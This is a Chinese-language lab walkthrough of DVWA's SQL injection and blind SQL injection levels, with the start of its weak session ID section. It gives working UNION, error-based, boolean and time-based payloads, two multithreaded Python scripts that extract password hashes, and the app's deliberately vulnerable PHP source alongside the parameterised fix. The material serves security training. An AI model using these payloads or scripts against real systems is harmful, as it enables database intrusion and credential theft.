Damn Vulnerable Web Application(中)

SQL Injection

SQL注入

SQL注入攻击是指通过客户端向应用程序输入数据中插入或"注入"SQL查询语句。成功的SQL注入攻击可以读取数据库中的敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(如关闭数据库管理系统)、恢复数据库管理系统文件系统中指定文件的内容(load_file),甚至在某些情况下向操作系统发出命令。

SQL注入攻击属于注入攻击的一种,通过将SQL命令注入到数据层输入中,以影响预定义SQL命令的执行。

此类攻击也可简称为"SQLi"。

目标

数据库中有5个用户,ID从1到5。你的任务是......通过SQLi窃取他们的密码。

低级难度

SQL查询使用了攻击者可直接控制的原始输入。攻击者只需转义查询语句,即可执行任意SQL命令。

提示:?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit

中级难度

中级难度采用了"mysql_real_escape_string()"函数进行SQL注入防护。但由于SQL查询参数未用引号包裹,该防护无法完全阻止查询被篡改。

文本框被替换为预定义的下拉列表,并通过POST方法提交表单。

提示:?id=a UNION SELECT 1,2;-- -&Submit=Submit

高级难度

与低级难度非常相似,但此次攻击者通过另一种方式输入数据。输入值通过会话变量经其他页面传递至存在漏洞的查询,而非直接GET请求。

提示:ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit

不可能难度

查询现已参数化(而非动态生成)。这意味着开发者已明确定义查询结构,严格区分代码段与数据部分。

参考:www.owasp.org/index.php/S...

low

普通payload: 'or ='

说明需要引号闭合,且一共有两个回显位置分别是 first name和 surname,即原语句查询两列数据

测试 #/-- 能否正常使用:

1' OR 1=1#、1'OR 1=1--

使用 order by验证查询列数

1'order by 2#成功回显了,说明至少有两列 1'order by 3#报错,说明查询列数不超过3列,即只有两列

UNION

测试UNION查询 查询数据库 'UNION SELECT DATABASE(),null #(null的作用是占据一个回显位置,避免报错,使用UNION时两个SELECT语句的列数必须相同,对应列的数据类型必须兼容)

获得数据库名 dvwa

接下来获取表名:

mysql 复制代码
'UNION SELECT null,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() #

表名:users

获取列名

mysql 复制代码
'UNION SELECT null,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' #

所需的用户信息列:user,password

用户名及密码

mysql 复制代码
'UNION SELECT GROUP_CONCAT(user),GROUP_CONCAT(password) FROM dvwa.users #
asciiarmor 复制代码
ID: 'UNION SELECT GROUP_CONCAT(user), GROUP_CONCAT(password) FROM dvwa.users #
First name: admin,gordonb,1337,pablo,smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

小写字母+数字且有32位,大概率MD5

分别拿去解密

。。。。。。

整理得:

用户名 密码(MD5) 密码
admin 5f4dcc3b5aa765d61d8327deb882cf99 password
gordonb e99a18c428cb38d5f260853678922e03 abc123
1337 8d3533d75ae2c3966d7e0d4fcc69216b charley
pablo 0d107d09f5bbe40cade3de5c71e9e9b7 letmein
smithy 5f4dcc3b5aa765d61d8327deb882cf99 password

报错注入

唯一键冲突

GROUP BY子句中使用RAND()函数时,如果RAND()在分组过程中被多次计算,可能引发"Duplicate entry"错误,且错误信息会包含RAND()的计算值

sql 复制代码
SELECT COUNT(*) FROM information_schema.tables GROUP BY RAND();

在此基础上尝试泄露数据库

sql 复制代码
SELECT COUNT(*), CONCAT(database(), RAND()) x FROM information_schema.tables GROUP BY x;

RAND()是真正随机的,使用 RAND(0),提高触发错误概率,而 FLOOR(RAND(0)*2)的返回值序列是 0, 1, 1, 0... ,概率进一步提高

处理第一行数据,第一次计算x值:CONCAT('dvwa',0) = 'dvwa0'。系统尝试在临时表中为'dvwa0'创建分组

在处理同一行或后续行的分组插入/校验时,第二次计算 x值:CONCAT('dvwa',1) = 'dvwa1'

原本要放进'dvwa0'分组的数据,现在键值变成了'dvwa1',导致系统试图将一行数据插入到一个与最初判断不同的分组中,从而在内部临时表引发了重复键或一致性冲突

COUNT(*)会对每个分组计数,返回每个分组中的行数,增加了 **RAND()**计算的机会

sql 复制代码
SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;

GROUP BY 返回多行多列,而子查询需返回一个值判断true或false,子查询语法是错误的,无法从报错信息获取有效信息,于是就将此语句作为内层查询,使用外层查询(SELECT 1 FROM (内层查询)y),将内层查询作为一个派生表y,包装成语法正确的语句,内层查询语句会完整执行,触发了键值冲突,因此外层查询根本不会返回多行数据,避免了 **Operand should contain 1 column(s)**的报错,自始至终只有键值冲突的报错,而键值就是我们想要的有用信息

mysql 复制代码
1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #

所以

mysql 复制代码
1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #

要一个一个的获取,有点麻烦,使用 SUBSTRING()

mysql 复制代码
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(table_name),1,50)FROM information_schema.tables WHERE table_schema=database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) #
mysql 复制代码
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(column_name),1,50)FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#
mysql 复制代码
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(user),1,50)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

计算密码总长度

mysql 复制代码
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT LENGTH(GROUP_CONCAT(password))FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#
mysql 复制代码
1'AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),1,164)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

**5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f26085367892...**长度为64,从62开始继续取值

mysql 复制代码
1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),62,63)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

1'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT SUBSTRING(GROUP_CONCAT(password),125,63)FROM users),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)#

将密码拼接得到

复制代码
5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
extractvalue()
mysql 复制代码
1'AND extractvalue(1,concat(0x7e,database())) #

数据库引擎会尝试执行extractvalue(1, '~dvwa')。由于第一个参数1不是合法XML,更重要的是,~dvwa作为一个XPath表达式是无效的语法~是非法字符,hex编码为 0x7e ),这会导致extractvalue()函数执行出错。MySQL在报告这个XPath语法错误时,会将出错的XPath字符串(即concat函数的结果)包含在错误信息中一并返回。

mysql 复制代码
1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),1,32)FROM users))) #
# 5f4dcc3b5aa765d61d8327deb882

1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),29,31)FROM users))) #
# cf99,e99a18c428cb38d5f260853678

1'AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),60,31)FROM users))) #
# 678922e03,8d3533d75ae2c3966d

......

。。。

updatexml()

extractvalue()一样都是XPATH报错,原理差不多

mysql 复制代码
1'AND updatexml(1,concat(0x7e,database()),1) #

1'AND updatexml(1,concat(0x7e,(SELECT SUBSTRING(GROUP_CONCAT(password),1,31) from users)),1) #

其他

几何函数

mysql 复制代码
1' AND ST_LatFromGeoHash(database()) #

但是通过报错也知道,此函数不存在,只能获得数据库名称,任何不存在的函数都有可能产生类似报错

MySQL 5.7+:对空间函数参数检查更严格,所以__geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring()__等都不行

堆叠注入

mysql 复制代码
1';SELECT database(),null #

看来不行

宽字节

显示使用UTF-8,这也不行

low.php

PHP 复制代码
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

漏洞点出在

php 复制代码
......
$id = $_REQUEST[ 'id' ];
......
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

直接拼接attacker输入的id,没有任何过滤,完全可以构造任意payload

medium

试使用引号闭合

去掉引号

这是数字型的,不用引号闭合

没什么特别的,方法在low等级已经试的差不都了

medium.php

php 复制代码
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

从代码来看,漏洞点主要比low.php少了引号

php 复制代码
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php

high

这次将输入框独立,除此之外好像没什么改进,跟low等级差不多

high.php

php 复制代码
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

依旧跟前面两关卡一样直接拼接用户输入的id进行查询,多加了个limit 1,可惜注释符 -- /#能用

php 复制代码
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //high.php

impossible

impossible.php

php 复制代码
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

此关使用了参数化查询,跟前面3关大不相同,没法注入了

php 复制代码
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //low.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //medium.php

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //high.php

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch(); //impossible.php

SQL Injection (Blind)

SQL盲注

当攻击者执行SQL注入攻击时,服务器有时会返回数据库服务器的错误信息,提示SQL查询语法不正确。盲注与普通SQL注入类似,区别在于当攻击者试图利用应用程序漏洞时,他们不会收到有用的错误消息,而是看到开发者指定的通用页面。这使得利用潜在的SQL注入攻击更加困难,但并非不可能。攻击者仍然可以通过SQL语句提出一系列真假问题,并观察Web应用程序的响应(返回有效条目或设置404标头)来窃取数据。

当页面响应没有明显差异时(因此称为盲注),通常会使用"基于时间"的注入方法。这意味着攻击者会等待观察页面响应所需的时间。如果响应时间比正常情况长,则说明他们的查询成功了。

目标

通过SQL盲注攻击找出SQL数据库软件的版本。

低级

SQL查询使用了由攻击者直接控制的原始输入。他们只需要转义查询,就可以执行任何SQL查询。

提示:?id=1' AND sleep 5&Submit=Submit

中级

中级防护使用了"mysql_real_escape_string()"函数进行SQL注入保护。但由于SQL查询参数周围没有引号,这并不能完全防止查询被篡改。

文本框已被预定义的下拉列表取代,并使用POST提交表单。

提示:?id=1 AND sleep 3&Submit=Submit

高级

这与低级非常相似,但这次攻击者以不同的方式输入值。输入值是在另一个页面上设置的,而不是通过GET请求。

提示:ID: 1' AND sleep 10&Submit=Submit

提示:应该能够绕过中间环节...

不可能级别

查询现在已参数化(而不是动态的)。这意味着查询由开发者定义,并且区分了哪些部分是代码,其余部分是数据。

参考:owasp.org/www-communi...

跟前面的SQL注入关卡一样,只不过只能判断存不存在,全靠自己猜

low

共有3中回显

  1. 存在

    User ID exists in the database.

  2. 不存在

    User ID is MISSING from the database.

  3. 错误

    There was an error.

布尔盲注

mysql 复制代码
#直接猜
1'AND (SELECT database())='dvwa'-- 
1'AND SUBSTRING((SELECT database()),1,10)='dvwa

#ASCII逐字猜
1'AND ASCII(SUBSTRING((SELECT database()),1,1))=100 -- 
#d的ASCII编码为100

脚本:

python 复制代码
import time
import requests
import threading

# 配置
CONFIG = {
    'url': "http://192.168.179.131:4280/vulnerabilities/sqli_blind/",
    'cookies': {
        'PHPSESSID': '20222b76809e068b075f172e739242ad',
        'security': 'low'
    },
    'headers': {
        'User-Agent': 'Mozilla/5.0'
    },
    
    # 线程配置
    'max_threads': 6,           # 最大并发线程数
    'thread_delay': 0.1,       # 线程启动间隔(秒)
    
    # 时间间隔配置
    'request_delay': 0.05,     # 每次请求间隔(秒)
    'batch_delay': 0.1,        # 批次间延迟(秒)
    'error_delay': 0.1,        # 错误重试延迟(秒)
    
    # SQL注入配置
    'max_length': 200,          # 最大字符长度
    'ascii_range': (32, 126),  # ASCII字符范围
    
    # 目标配置
    'target': 'SELECT group_concat(password) FROM users',
    'success_indicator': 'User ID exists'  # 成功判断标志
}

result = ""

def find_char(pos):
    low, high = CONFIG['ascii_range']
    while low <= high:
        mid = (low + high) // 2
        time.sleep(CONFIG['request_delay'])
        
        # 使用配置的目标和SQL语法
        payload = f"1' AND ascii(substring(({CONFIG['target']}),{pos},1))>{mid}-- "
        params = {'id': payload, 'Submit': 'Submit'}
        
        try: #get方法
            r = requests.get(CONFIG['url'], params=params, cookies=CONFIG['cookies'], 
                           headers=CONFIG['headers'], timeout=5)
            
            # 使用配置的成功判断标志
            if CONFIG['success_indicator'] in r.text:
                low = mid + 1
            else:
                high = mid - 1
        except Exception as e:
            print(f"请求错误: {e}")
            time.sleep(CONFIG['error_delay'])
    
    char_ascii = low
    return (chr(char_ascii), char_ascii) if CONFIG['ascii_range'][0] < char_ascii <= CONFIG['ascii_range'][1] else (None, char_ascii) #不包含空格

start_time = time.time()
for batch_start in range(1, CONFIG['max_length'] + 1, CONFIG['max_threads']):
    threads, results = [], {}
    
    for i, pos in enumerate(range(batch_start, min(batch_start + CONFIG['max_threads'], CONFIG['max_length'] + 1))):
        def thread_func(p):
            results[p] = find_char(p)
        t = threading.Thread(target=thread_func, args=(pos,))
        threads.append(t)
        t.start()
        # 线程启动间隔
        if i < CONFIG['max_threads'] - 1 and pos < CONFIG['max_length']:
            time.sleep(CONFIG['thread_delay'])
    
    for t in threads:
        t.join()
    
    empty_found = False
    for pos in range(batch_start, min(batch_start + CONFIG['max_threads'], CONFIG['max_length'] + 1)):
        if pos in results:
            char, ascii_val = results[pos]
            if char:
                result += char
                print(f"{pos}: '{char}' (ASCII:{ascii_val}), 结果: {result}")
            else:
                print(f"位置{pos}: 超出范围({ascii_val})")
                empty_found = True
        else:
            empty_found = True
     
    if empty_found:
        break
    
    # 批次间延迟
    if batch_start + CONFIG['max_threads'] <= CONFIG['max_length']:
        time.sleep(CONFIG['batch_delay'])

print(f"\n最终结果: {result}")
print(f"总耗时: {time.time() - start_time:.2f} 秒")

。。。。。。

时间盲注

当没有任何回显的时候,只能通过响应时间来判断真假

mysql 复制代码
1'AND IF((SELECT database())='dvwa',SLEEP(5),0)-- 
1'AND IF((SELECT database())='dvwa',SLEEP(0.6),0)-- 

low.php

php 复制代码
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                print "There was an error.";
                exit;
            }

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

}

?>

跟前面的low等级一样,只不过回显固定了

medium

也是数字型的

mysql 复制代码
1 AND ASCII(SUBSTRING(database(),1,1))=100-- 

方法跟low等级一样,在low等级的脚本中稍微做些修改

python 复制代码
# get方法
r = requests.get(url, params=data)  # GET + params

# post方法
r = requests.post(url, data=data)   # POST + data

所以把get改为post,params改为data,等级改为medium,payload去掉引号即可

medium.php

php 复制代码
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                print "There was an error.";
                exit;
            }

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }
            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

high

跟low等级差不多,只是输入输出界面分离了,但是发现是通过cookie传入id的

可以直接把此关当作low等级看待

python 复制代码
import requests
import threading

# 配置
url = "http://192.168.179.131:4280/vulnerabilities/sqli_blind/"
cookies = {
    'PHPSESSID': 'f97e23b7eb5ead582d6ba804930945e7',
    'security': 'high',
    'id': '1'
}

result = ""

def find_char(pos):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        
        # payload通过Cookie传递
        payload = f"1' AND ascii(substring((SELECT group_concat(password) FROM users),{pos},1))>{mid}# "
        cookies['id'] = payload
        
        r = requests.get(url, cookies=cookies)
        
        if 'User ID exists' in r.text:
            low = mid + 1
        else:
            high = mid - 1
    
    return chr(low) if 32 < low <= 126 else None

# 多线程处理
for batch in range(1, 201, 6):
    threads, results = [], {}
    
    for pos in range(batch, min(batch + 6, 201)):
        def thread_func(p):
            results[p] = find_char(p)
        t = threading.Thread(target=thread_func, args=(pos,))
        threads.append(t)
        t.start()
    
    for t in threads:
        t.join()
    
    for pos in range(batch, min(batch + 6, 201)):   
        if pos in results and results[pos]:
            result += results[pos]
            print(f"{pos}: {results[pos]}, 结果: {result}")
        else:
            break

print(f"\n最终结果: {result}")

high.php

php 复制代码
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors
            } catch (Exception $e) {
                $result = false;
            }

            $exists = false;
            if ($result !== false) {
                // Get results
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

可知,此关跟low等级几乎无差别,只是不存在的话会延时,增加了代码爆破的时间

impossible

impossible.php

php 复制代码
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $exists = false;

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();

                $exists = $data->rowCount();
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 1) {
                        $row = $result->fetchArray();

                        $numrows = $row[ 'numrows' ];
                        $exists = ($numrows == 1);
                    }
                }
                break;
        }

    }

    // Get results
    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这关使用预处理语句防止SQL注入的同时,也生成CSRF令牌且查询后生成新的CSRF令牌防止了CSRF攻击,也防止令牌重用

Weak Session IDs

弱会话ID

会话ID通常是用户登录后访问网站时唯一需要的凭证。如果该会话ID可以被计算或轻易猜测,那么攻击者将无需暴力破解密码或寻找其他漏洞(如跨站脚本),就能轻松获取用户账户的访问权限。

目标

本模块通过四种不同方式设置dvwaSession的cookie值。每个级别的目标是分析ID的生成方式,并推断其他系统用户的ID。

低级

cookie值应具有明显的可预测性。

中级

该值看起来比低级更随机,但如果收集多个样本,应能发现规律。

高级

首先判断值的格式,然后尝试分析生成这些值的输入源。

cookie中还添加了额外标志,这不会影响挑战,但展示了可用于增强cookie保护的额外防护措施。

不可能级

